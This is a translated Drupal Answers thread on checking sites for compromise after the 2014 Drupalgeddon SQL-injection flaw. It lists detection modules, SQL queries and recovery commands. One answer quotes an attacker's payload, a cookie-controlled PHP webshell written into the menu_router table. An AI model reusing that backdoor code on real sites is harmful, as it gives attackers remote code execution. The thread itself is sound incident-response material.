Drupal SA-CORE-2014-005 - Wie kann ich feststellen, ob meine Server / Websites kompromittiert wurden?

40

Ich habe gerade alle meine Websites mit der Patch-Methode aktualisiert, mit der der Drupal SA-CORE-2014-005-Exploit behoben wurde. Ich habe gerade Berichte gelesen, dass es erst gestern jemanden von einer russischen IP gibt, der Drupal-Sites infiltriert.

https://www.drupal.org/SA-CORE-2014-005

Meine Hauptanliegen sind jetzt:

  • Woran erkenne ich, ob meine Websites zusammengefasst wurden?
  • Nach was soll ich in meinen Apache-Zugriffsprotokollen suchen, um festzustellen, ob meine Site ein Opfer war oder nicht?
  • Was machen diese Hacker bisher mit zusammengesetzten Sites?
Patoshi パ ト ト
quelle
7
Es gibt jetzt ein Modul dafür. Drupal.org/project/drupalgeddon
mikeytown2 20.10.14
Was ist, wenn ich keine Aliase für 100 Drupal-Sites eingerichtet habe? Was sind Ihre häufigsten Hacks?
Patoshi パ パ シ
1
Verwandte Themen
oder
1
@duckx Überprüfe den Code im Drupalgeddon-Modul und du wirst die üblichen Hacks finden. Aus offensichtlichen Gründen können wir nicht alle möglichen Änderungen auflisten, die ein böswilliger Benutzer mit vollem Zugriff auf eine Datenbank vornehmen kann. Sie können alle Änderungen vornehmen , zu denen der Drupal-MySQL-Benutzer berechtigt ist. Die einzige Möglichkeit, dies im wahrsten Sinne des Wortes festzustellen, besteht darin, Ihre aktuelle Datenbank mit einer bekanntermaßen guten Version zu vergleichen. Wenn Sie nach einem Knopf suchen, der zuverlässig und zu 100% genau anzeigt, ob Ihre Website kompromittiert wurde oder nicht, dann träumen Sie, ich fürchte :)
Clive
Ducky: Wenn Sie keine Aliase eingerichtet haben und über 100 Sites verfügen, ist es einfacher, die Aliase einzurichten, als sie manuell zu bearbeiten. Holen Sie sich eine Liste mit Site-Roots und -URLs, und Sie können daraus eine Reihe von Aliasnamen erstellen.
Chris Burgess

Antworten:

6

Im Folgenden finden Sie einige SQL-Abfragen, die für Ihre Site-DBs ausgeführt werden können, um nach Benutzern mit Administratorrechten zu suchen, und die nach dem 15. Oktober auf die Site zugegriffen haben.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

JustinChev
quelle
1
Hallo und willkommen bei Drupal Answers. Sie können Ihre Antwort verbessern, indem Sie eine kleine Zusammenfassung der bereitgestellten Seite bereitstellen.
Wtower
Übrigens wird empfohlen, nach Benutzern zu suchen, die nach dem 15. Oktober erstellt wurden. Hierbei wird das createdFeld aus der Benutzertabelle verwendet. Es kann nicht garantiert werden, dass die Person, die SQL injiziert hat, den Wert des Felds beachtet, weshalb diese Überprüfung nicht sehr nützlich ist. In der Tat ist mir aufgefallen, dass die übliche Benutzerinjektion mit dem Namen drupaldevangeblich vor 44 Wochen erstellt wurde. Was die zweite Empfehlung
anbelangt
29

Wenn Sie diesen Artikel lesen und hoffen, mehr als einen Monat nach dem Exploit eine Drupal 7-Site zu überprüfen, wurde Ihre Site höchstwahrscheinlich bereits gehackt . Am besten stellen Sie ein Backup von vor Beginn der Angriffe wieder her und arbeiten von dort aus.

Es gibt eine FAQ zu SA-CORE-2014-005 .

Wie kann ich feststellen, ob meine Websites kompromittiert wurden?

Mit dem Befehl Drupalgeddon drush können Sie schnell überprüfen, ob Websites gefährdet sind.

Installieren Sie zu Ihrem ~/.drushmitdrush dl drupalgeddon

Dann drush drupalgeddon-testzum Testen verwenden. Drush Aliase machen dies einfach und schnell.

Dieses Tool kann eine ausgenutzte Site bestätigen, kann jedoch nicht garantieren, dass Ihre Site nicht ausgenutzt wurde. Es gibt hier kein "sauberes Gesundheitszeugnis", es sei denn, Sie haben vor Beginn der Angriffe ein Upgrade durchgeführt.


Das Site Audit-Modul enthält einige der Überprüfungen von Drupalgeddon und bietet Ihnen auch viel nützlichere Informationen. Ich empfehle es sehr. (EDIT: Jetzt arbeiten sie zusammen - super nett!)


Security Review sucht nicht nach Drupalgeddon-Angriffen, ist aber auch eine Reise wert.


Wenn Ihre Site-Codebasis für den WWW-Benutzer schreibbar war, können Sie mithilfe des gehackten Moduls zusätzlich nach geändertem Code suchen. Dieses Modul macht möglicherweise nicht nur aufgrund seines Namens das, was Sie denken :)


Zwar gibt es keine einzige sichere Möglichkeit, alle gefährdeten Websites zu identifizieren, diese Tools können Ihnen jedoch dabei helfen, die häufigsten Indikationen zu identifizieren.


Nach was soll ich in meinen Apache-Zugriffsprotokollen suchen, um festzustellen, ob meine Site ein Opfer war oder nicht?

Ihre Zugriffsprotokolle enthalten inzwischen viele POST-Anforderungen. Wenn Sie nicht den ungewöhnlichen Schritt unternommen haben, alle Post-Daten vor dem Fehler zu protokollieren, ist es unwahrscheinlich, dass Sie über die Informationen verfügen, um festzustellen, welche davon böswillig waren.

Was machen diese Hacker bisher mit kompromittierten Websites?

Viele berichten, dass ihre Websites von den Hackern gepatcht werden! Als Angreifer ist dies sinnvoll - Sie möchten nicht, dass Ihre neu entführte Site vom nächsten Angreifer unter Ihnen weggeschleudert wird :)

Abgesehen davon, würde ich vermuten, dass die Websites verwendet werden, um wertvolle Daten zu sammeln (vielleicht ein paar Creds zu holen, vielleicht die Transaktionsdetails nach dem Ausnutzen zu heben) und um langweilige Dinge wie Spam zu versenden und als bescheidene Botnet-Sklaven zu arbeiten. Oh, und erweitern Sie das Reich des Angreifers von entführten Drupal-Sites weiter. (Sorry, ich habe keine gehackten Websites zu beobachten.)

Chris Burgess
quelle
Könntest Du das erläutern? Würde jeder Angriff immer mit einer POST-Anfrage beginnen? Ich überprüfe meine Protokolle auf POSTS. Habe die von IP 62.76.191.119 gesehen, nachdem ich gepatcht hatte.
Lance Holland
Ich hatte eine Site, die Opfer dieses Exploits war, und es schien, als hätten die Angreifer damit Tonnen von Spam vom Server gesendet.
Cyclonecode
24

Einige Überprüfungen auf häufige Angriffe sind (dies ist keine vollständige Liste, aber einige der Angriffe, die bisher in der freien Wildbahn beobachtet wurden):

  • Überprüfen Sie Ihr Konto für Benutzer 1, um sicherzustellen, dass Benutzername, E-Mail-Adresse oder Kennwort Ihren Erwartungen entsprechen. Überprüfen Sie nach Möglichkeit auch alle anderen Benutzerkonten mit hohen Berechtigungen.
  • Suchen Sie nach neuen Benutzerkonten, die verdächtig aussehen.
  • Überprüfen Sie, ob Änderungen an den Rollen in Ihrem System vorgenommen wurden, z. B. neue Rollen oder umbenannte Rollen.
  • Auf Berechtigungsänderungen prüfen. Der wichtigste Aspekt dabei ist, sicherzustellen, dass die anonyme Benutzerrolle (oder andere Rollen, für die sich jeder anmelden kann) nicht geändert wurde, um den Zugriff zu erhöhen.
  • Suchen Sie nach neuen benutzerdefinierten Blöcken, die möglicherweise schädlichen Code enthalten.
  • Suchen Sie nach neuen benutzerdefinierten Knoten, die möglicherweise schädlichen Code enthalten.
  • Suchen Sie in Ihrem Dateisystem nach Dateien, die nicht vorhanden sein sollten. Dies ist einfach, wenn Sie die Versionskontrolle verwenden, da Sie git status oder svn st ausführen können, um festzustellen, ob neue Dateien vorhanden sind.
  • Wenn sie schädliche Dateien hochgeladen haben, können Sie in Ihren Zugriffsprotokollen nach Treffern auf unbekannte Dateinamen suchen.
  • Überprüfen Sie die Datenbanktabelle Ihres Menürouters auf böswillige Einträge. Zum Beispiel (das drupalgeddon-Modul / drush-Plugin auf drupal.org hat ein gutes Skript, um diese Tabelle genauer zu prüfen):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Sie können auch einfach in Ihrer Menü-Routertabelle nach seltsam aussehenden Einträgen suchen.

Einige Dinge, die Hacker versuchen zu tun, sind:

  • Stellen Sie PHP-Skriptdateien auf Ihre Website, die Sie dann ausführen können, indem Sie sie in einem Browser aufrufen. Diese Skripte können eine Vielzahl von böswilligen Aktionen ausführen. Dies wird erreicht, indem böswillige Menüroutereinträge hinzugefügt werden.
  • Erstellen Sie Admin-Benutzerkonten, mit denen sie dann schlechte Dinge an Ihrer Site tun oder Ihre Site übernehmen können.
  • Ändern Sie die E-Mail-Adresse von Benutzer 1, damit er das Kennwort für dieses Konto zurücksetzen und übernehmen kann.
  • Ändern Sie die Berechtigungen für öffentlich zugängliche Benutzerrollen.
  • Hinzufügen von Blöcken / Knoten / etc. das kann schädlichen Code enthalten. Wenn Sie den PHP-Filter aktiviert haben, ist dies ein noch größeres Problem.

Leider kann ein Angreifer so viele Dinge an Ihrer Datenbank tun, dass es ziemlich schwierig ist, eine vollständige Liste der Möglichkeiten anzugeben. Sie könnten Dinge tun, mit denen sie versuchen, die Kontrolle über Ihre Site zu erlangen, oder sie könnten nur Ihre Site beschädigen, aber Datenbanktabellen oder -spalten usw. löschen.

Sie könnten sogar nur geringfügige Änderungen an der Site-Konfiguration vornehmen, z. B. den Namen Ihrer Site oder ähnliches, was zwar nicht das Ende der Welt darstellt, aber dennoch problematisch ist.

Grundsätzlich kann ein Angreifer theoretisch alles tun, was Sie mit einem SQL-Befehl in Ihrer Datenbank tun können.

Alle in Chris Burgess 'Antwort erwähnten Module sind sehr nützlich, um diese Dinge zu überprüfen.

Dummkopf
quelle
1
Sie müssen von 62.76.191.119 getroffen worden sein. Normalerweise sieht es so aus, als würde diese IP versuchen, eine Datei über menu_router und möglicherweise andere unangenehme Dinge in Ihre Datenbank zu kopieren. Sie können die Kommentare unter drupal.org/node/2357241 lesen .
scor
Soweit meine Untersuchungen meiner Websites ergeben haben, bin ich von keiner getroffen worden. Dies sind nur Informationen, die dem OP helfen sollen.
Rooby
Wie gehe ich bei "Überprüfen Sie die Datenbanktabelle Ihres Menürouters auf schädliche Einträge:" vor? Ich bin auf einem Centos-Server und ich habe root.
Patoshi パ パ シ
Sie können den Datenbankbefehl "SELECT * FROM menu_router" ausführen und dann alle durchforsten, um zu überprüfen, ob Zeilen nicht richtig positioniert sind. In meiner Antwort wird auch ein spezifischerer Befehl erwähnt, der nach einem bestimmten Angriff sucht, der bekannt ist und zum Hochladen von Dateien auf Ihren Server verwendet wird.
Rooby
Diese IP 62.76.191.119 versucht, die Sicherheitsanfälligkeit meiner Websites innerhalb eines Tages nach Veröffentlichung des Sicherheitsupdates auszunutzen. Ich habe alle meine Websites gesperrt. Ich hatte großes Glück, dass ich meine Websites rechtzeitig aktualisiert habe. Es war seltsam, weil es meine Websites in alphabetischer Reihenfolge traf.
Cayerdis
10

Ich glaube , ich mit dem Rat drupal.org gehen würde „ Sie sollten unter der Annahme ausgehen , dass jeder Drupal 7 Website kompromittiert wurde , es sei denn aktualisiert oder gepatcht vor 15. Oktober, 11.00 Uhr UTC, die 7 Stunden nach der Ankündigung ist .“. Wie Bevan in diesem Kommentar sagte "Durch das Aktualisieren oder Patchen von Drupal werden keine Hintertüren behoben, die Angreifer vor dem Aktualisieren oder Patchen von Drupal installiert haben."

Bevan erstellte auch das folgende Arbeitsablaufdiagramm, um Sie bei der Analyse zu unterstützen, ob Sie möglicherweise infiziert wurden und wie Sie diese wiederherstellen und verhindern können . Er bittet jedoch jeden, zu seinem Originalartikel zu gehen, um sicherzustellen, dass Sie die neueste Version des Workflows haben. Außerdem verfasst Acquia einen interessanten Artikel über die Angriffe und Muster, die sie in Acquia Cloud erlebt haben

 Flussdiagramm, um zu verstehen, ob Sie anfällig sind, ob Sie möglicherweise infiziert wurden und wie Sie sich erholen können

Cayerdis
quelle
4

Zitat aus: https://www.drupal.org/node/2357241#comment-9258955

Dies ist ein Beispiel für die Datei, die in die Spalte access_callback der Tabelle menu_router eingefügt wird:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Wie Sie sehen, wird versucht, die Datei modules / image / vzoh.php zu erstellen, aber da ich nur die Berechtigungen in diesen Verzeichnissen gelesen habe, schlägt PHP fehl.

Berichte von Personen, die nach ähnlichen Dateien suchen, die bei einer Suche in Ihrem Drupal-Verzeichnis erstellt wurden: https://www.drupal.org/node/2357241#comment-9260017


Ich habe den folgenden Befehl ausgeführt:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

=================

Zitiert von: http://www.paulbooker.de/drupal-developer/command-lines/5-commands-help-drupalgeddon

Anzeigen von Dateien, die sich auf dem Live-Server geändert haben: Git-Status

Suchen Sie nach Codeausführungsversuchen über menu_router: Wählen Sie * aus menu_router, wobei access_callback = 'file_put_contents'

Anzeigen, welche Dateien sich auf dem Live-Server und nicht in der Versionskontrolle befinden: diff -r docroot repo | grep docroot | grep 'Nur in docroot'

Suchen von PHP-Dateien im Dateiverzeichnis: find. -path "* php"

Überprüfen Sie die Zeitspanne zwischen dem Anmelden eines Benutzers auf Ihrer Website und dem letzten Seitenaufruf: Wählen Sie (am Zeitstempel - u.Login) / 60/60/24 AS days_since_login, u.uid aus den Sitzungen aus, an denen Benutzer teilnehmen s.uid = u.uid;

Patoshi パ ト ト
quelle
3

Eine sehr gute Liste von Befehlen, mit denen Sie feststellen können, ob Sie kompromittiert wurden.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));
Patoshi パ ト ト
quelle
1
Anstatt getrennte Antworten zu geben, sollten Sie vielleicht die erste bearbeiten und die zusätzlichen Informationen hinzufügen?
Cyclonecode
0

Sie können überprüfen, ob Ihre Website mit diesem Online-Tool gehackt wurde:

Drupal Check: Der EngineHack

Natürlich hat es seine Grenzen, aber es ist ein guter Ausgangspunkt.

bmunslow
quelle